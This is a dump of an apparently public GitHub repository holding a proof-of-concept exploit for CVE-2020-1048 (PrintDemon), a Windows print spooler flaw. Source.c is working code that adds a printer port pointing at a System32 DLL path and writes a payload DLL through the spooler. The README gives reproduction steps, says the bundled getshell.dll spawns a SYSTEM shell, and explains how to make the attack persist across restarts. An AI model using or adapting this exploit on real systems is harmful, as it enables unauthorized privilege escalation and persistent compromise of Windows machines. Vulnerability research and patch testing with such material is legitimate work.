├── getshell.dll ├── cve-2020-1048 ├── cve-2020-1048.vcxproj.user ├── cve-2020-1048.vcxproj.filters ├── cve-2020-1048.vcxproj └── Source.c ├── .gitignore ├── README.md ├── cve-2020-1048.sln └── LICENSE /getshell.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shubham0d/CVE-2020-1048/HEAD/getshell.dll -------------------------------------------------------------------------------- /cve-2020-1048/cve-2020-1048.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | Module.symvers 51 | Mkfile.old 52 | dkms.conf 53 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-1048 2 | POC exploit code for CVE-2020-1048(PrintDemon) 3 | 4 | ## Vulnerable Systems 5 | All Windows version below mentioned in the link are vulnerable: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1048 6 | ## Steps to reproduce 7 | 1) Change the variables `g_PortName` and `g_InputFile` present at the top of `Source.c`. 8 | 2) Compile and run using Visual studio. 9 | 3) Restart the printer service(spoolsv) or Restart your system. 10 | 11 | ## Notes 12 | * In case you want to persist the port and printer creation or want the attack to occur after restart of system, you can exit the program using Ctrl^C once the program ask to press Enter. 13 | * `getshell.dll` is included which you can use as a payload to spawn a command prompt as `SYSTEM` privilege. 14 | # Reference 15 | https://windows-internals.com/printdemon-cve-2020-1048/ 16 |
17 | https://github.com/ionescu007/PrintDemon 18 | -------------------------------------------------------------------------------- /cve-2020-1048/cve-2020-1048.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /cve-2020-1048.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30128.74 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2020-1048", "cve-2020-1048\cve-2020-1048.vcxproj", "{72C13311-157C-491E-B224-6C05C7D2D318}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {72C13311-157C-491E-B224-6C05C7D2D318}.Debug|x64.ActiveCfg = Debug|x64 17 | {72C13311-157C-491E-B224-6C05C7D2D318}.Debug|x64.Build.0 = Debug|x64 18 | {72C13311-157C-491E-B224-6C05C7D2D318}.Debug|x86.ActiveCfg = Debug|Win32 19 | {72C13311-157C-491E-B224-6C05C7D2D318}.Debug|x86.Build.0 = Debug|Win32 20 | {72C13311-157C-491E-B224-6C05C7D2D318}.Release|x64.ActiveCfg = Release|x64 21 | {72C13311-157C-491E-B224-6C05C7D2D318}.Release|x64.Build.0 = Release|x64 22 | {72C13311-157C-491E-B224-6C05C7D2D318}.Release|x86.ActiveCfg = Release|Win32 23 | {72C13311-157C-491E-B224-6C05C7D2D318}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {27BE228A-44DC-4A88-8CF4-92EB6FEDD452} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /cve-2020-1048/cve-2020-1048.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {72c13311-157c-491e-b224-6c05c7d2d318} 25 | cve20201048 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | true 119 | MultiThreadedDebug 120 | 121 | 122 | Console 123 | true 124 | 125 | 126 | 127 | 128 | Level3 129 | true 130 | true 131 | true 132 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 133 | true 134 | 135 | 136 | Console 137 | true 138 | true 139 | true 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | -------------------------------------------------------------------------------- /cve-2020-1048/Source.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | LPWSTR g_DriverName = L"Generic / Text Only"; 5 | LPWSTR g_PrinterName = L"ColorMeIn"; 6 | // modify these values 7 | LPWSTR g_PortName = L"C:\\Windows\\System32\\ualapi.dll"; 8 | const char* g_InputFile = "getshell.dll"; 9 | 10 | INT 11 | main( 12 | _In_ INT ArgumentCount, 13 | _In_ PCHAR Arguments[] 14 | ) 15 | { 16 | HRESULT hr; 17 | PRINTER_INFO_2 printerInfo; 18 | HANDLE hPrinter; 19 | HANDLE hMonitor; 20 | BOOL bRes; 21 | DWORD dwNeeded, dwStatus; 22 | PRINTER_DEFAULTS printerDefaults; 23 | DWORD dwExists; 24 | struct 25 | { 26 | ADDJOB_INFO_1 jobInfo; 27 | WCHAR pathString[MAX_PATH]; 28 | } job; 29 | 30 | DWORD dwJobId; 31 | DOC_INFO_1 docInfo; 32 | 33 | // 34 | // Initialize variables 35 | // 36 | UNREFERENCED_PARAMETER(Arguments); 37 | ZeroMemory(&job, sizeof(job)); 38 | hPrinter = NULL; 39 | hMonitor = NULL; 40 | 41 | 42 | // 43 | // Open a handle to the XCV port of the local spooler 44 | // 45 | printerDefaults.pDatatype = NULL; 46 | printerDefaults.pDevMode = NULL; 47 | printerDefaults.DesiredAccess = SERVER_ACCESS_ADMINISTER; 48 | bRes = OpenPrinter(L",XcvMonitor Local Port", &hMonitor, &printerDefaults); 49 | if (bRes == FALSE) 50 | { 51 | printf("Error opening XCV handle: %lx\n", GetLastError()); 52 | goto CleanupPath; 53 | } 54 | 55 | // 56 | // Check if the target port name already exists 57 | // 58 | dwNeeded = ((DWORD)wcslen(g_PortName) + 1) * sizeof(WCHAR); 59 | dwExists = 0; 60 | bRes = XcvData(hMonitor, 61 | L"PortExists", 62 | (LPBYTE)g_PortName, 63 | dwNeeded, 64 | (LPBYTE)&dwExists, 65 | sizeof(dwExists), 66 | &dwNeeded, 67 | &dwStatus); 68 | if (dwExists == 0) 69 | { 70 | // 71 | // It doesn't, so create it! 72 | // 73 | dwNeeded = ((DWORD)wcslen(g_PortName) + 1) * sizeof(WCHAR); 74 | bRes = XcvData(hMonitor, 75 | L"AddPort", 76 | (LPBYTE)g_PortName, 77 | dwNeeded, 78 | NULL, 79 | 0, 80 | &dwNeeded, 81 | &dwStatus); 82 | if (bRes == FALSE) 83 | { 84 | printf("Failed to add port: %lx\n", dwStatus); 85 | goto CleanupPath; 86 | } 87 | } 88 | 89 | // 90 | // Check if the printer already exists 91 | // 92 | printerDefaults.pDatatype = NULL; 93 | printerDefaults.pDevMode = NULL; 94 | printerDefaults.DesiredAccess = PRINTER_ALL_ACCESS; 95 | bRes = OpenPrinter(g_PrinterName, &hPrinter, &printerDefaults); 96 | if ((bRes == FALSE) && (GetLastError() == ERROR_INVALID_PRINTER_NAME)) 97 | { 98 | // 99 | // First, install the generic text only driver. Because this is already 100 | // installed, no privileges are required to do so. 101 | // 102 | hr = InstallPrinterDriverFromPackage(NULL, NULL, g_DriverName, NULL, 0); 103 | if (FAILED(hr)) 104 | { 105 | printf("Failed to install print driver: %lx\n", hr); 106 | goto CleanupPath; 107 | } 108 | 109 | // 110 | // Now create a printer to attach to this port 111 | // This data must be valid and match what we created earlier 112 | // 113 | ZeroMemory(&printerInfo, sizeof(printerInfo)); 114 | printerInfo.pPortName = g_PortName; 115 | printerInfo.pDriverName = g_DriverName; 116 | printerInfo.pPrinterName = g_PrinterName; 117 | 118 | // 119 | // This data must always be as indicated here 120 | // 121 | printerInfo.pPrintProcessor = L"WinPrint"; 122 | printerInfo.pDatatype = L"RAW"; 123 | 124 | // 125 | // This part is for fun/to find our printer easily 126 | // 127 | printerInfo.pComment = L"I'd be careful with this one..."; 128 | printerInfo.pLocation = L"Inside of an exploit"; 129 | printerInfo.Attributes = PRINTER_ATTRIBUTE_RAW_ONLY | PRINTER_ATTRIBUTE_HIDDEN; 130 | printerInfo.AveragePPM = 9001; 131 | hPrinter = AddPrinter(NULL, 2, (LPBYTE)&printerInfo); 132 | if (hPrinter == NULL) 133 | { 134 | printf("Failed to create printer: %lx\n", GetLastError()); 135 | goto CleanupPath; 136 | } 137 | else 138 | { 139 | printf("Printer created successfully"); 140 | } 141 | } 142 | 143 | // 144 | // Purge the printer of any previous jobs 145 | // 146 | bRes = SetPrinter(hPrinter, 0, NULL, PRINTER_CONTROL_PURGE); 147 | if (bRes == FALSE) 148 | { 149 | printf("Failed to purge jobs: %lx\n", GetLastError()); 150 | goto CleanupPath; 151 | } 152 | 153 | // 154 | // Getting the dll buffer data 155 | // 156 | HANDLE hFile = CreateFileA(g_InputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 157 | if (hFile == NULL) 158 | { 159 | printf("Unable to find input file %s",g_InputFile); 160 | goto CleanupPath; 161 | } 162 | DWORD lFileSize = GetFileSize(hFile, NULL); 163 | //printf("file size : %d\n", lFileSize); 164 | BYTE* hDllBuffer = (BYTE*)malloc(lFileSize); 165 | DWORD lpBytesRead = 0; 166 | ReadFile(hFile, hDllBuffer, lFileSize, &lpBytesRead, NULL); 167 | CloseHandle(hFile); 168 | 169 | 170 | // 171 | //Writing to the printer 172 | // 173 | docInfo.pDatatype = L"RAW"; 174 | docInfo.pOutputFile = NULL; 175 | docInfo.pDocName = L"Ignore Me"; 176 | dwJobId = StartDocPrinter(hPrinter, 1, (LPBYTE)&docInfo); 177 | bRes = WritePrinter(hPrinter, 178 | hDllBuffer, 179 | lFileSize, 180 | &dwNeeded); 181 | if (bRes == FALSE) 182 | { 183 | printf("[-] Failed to write the spooler data: %lx\n", GetLastError()); 184 | goto CleanupPath; 185 | } 186 | EndDocPrinter(hPrinter); 187 | 188 | /* 189 | TODO: Fix this 190 | // 191 | // Restarting printer service 192 | // 193 | SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); 194 | if (hSCM == NULL) 195 | { 196 | printf("[+] Unable to get access to service manager\n"); 197 | return FALSE; 198 | } 199 | char* szServiceName = "Spooler"; 200 | SC_HANDLE hService = OpenService(hSCM, szServiceName, SERVICE_STOP); 201 | 202 | if (hService == NULL) 203 | { 204 | CloseServiceHandle(hSCM); 205 | return FALSE; 206 | } 207 | SERVICE_STATUS status; 208 | if (ControlService(hService, SERVICE_CONTROL_STOP, &status) == 0) 209 | { 210 | printf("COntrol service failed"); 211 | } 212 | CloseServiceHandle(hService); 213 | CloseServiceHandle(hSCM); 214 | */ 215 | // 216 | // Wait for the client to read it 217 | // 218 | printf("[+] Restart the spoolsv service to successfully write...Press Enter to delete the port and" \ 219 | "printer or Ctrl + C for persist them.\n"); 220 | getchar(); 221 | //return 0; 222 | 223 | CleanupPath: 224 | // 225 | // Now delete the printer and close the handle 226 | // 227 | if (hPrinter != NULL) 228 | { 229 | bRes = DeletePrinter(hPrinter); 230 | if (bRes == FALSE) 231 | { 232 | // 233 | // Non fatal, this is the cleanup path 234 | // 235 | printf("[-] Failed to delete printer: %lx\n", GetLastError()); 236 | } 237 | printf("[+] Printer deleted\n"); 238 | ClosePrinter(hPrinter); 239 | } 240 | 241 | // 242 | // Cleanup our port 243 | // 244 | if (hMonitor != NULL) 245 | { 246 | dwNeeded = ((DWORD)wcslen(g_PortName) + 1) * sizeof(WCHAR); 247 | bRes = XcvData(hMonitor, 248 | L"DeletePort", 249 | (LPBYTE)g_PortName, 250 | dwNeeded, 251 | NULL, 252 | 0, 253 | &dwNeeded, 254 | &dwStatus); 255 | if (bRes == FALSE) 256 | { 257 | // 258 | // Non fatal, this is the cleanup path 259 | // 260 | printf("[-] Failed to delete port: %lx\n", GetLastError()); 261 | } 262 | 263 | // 264 | // Close the monitor port 265 | // 266 | printf("[+] Port deleted\n"); 267 | ClosePrinter(hMonitor); 268 | } 269 | return 0; 270 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. 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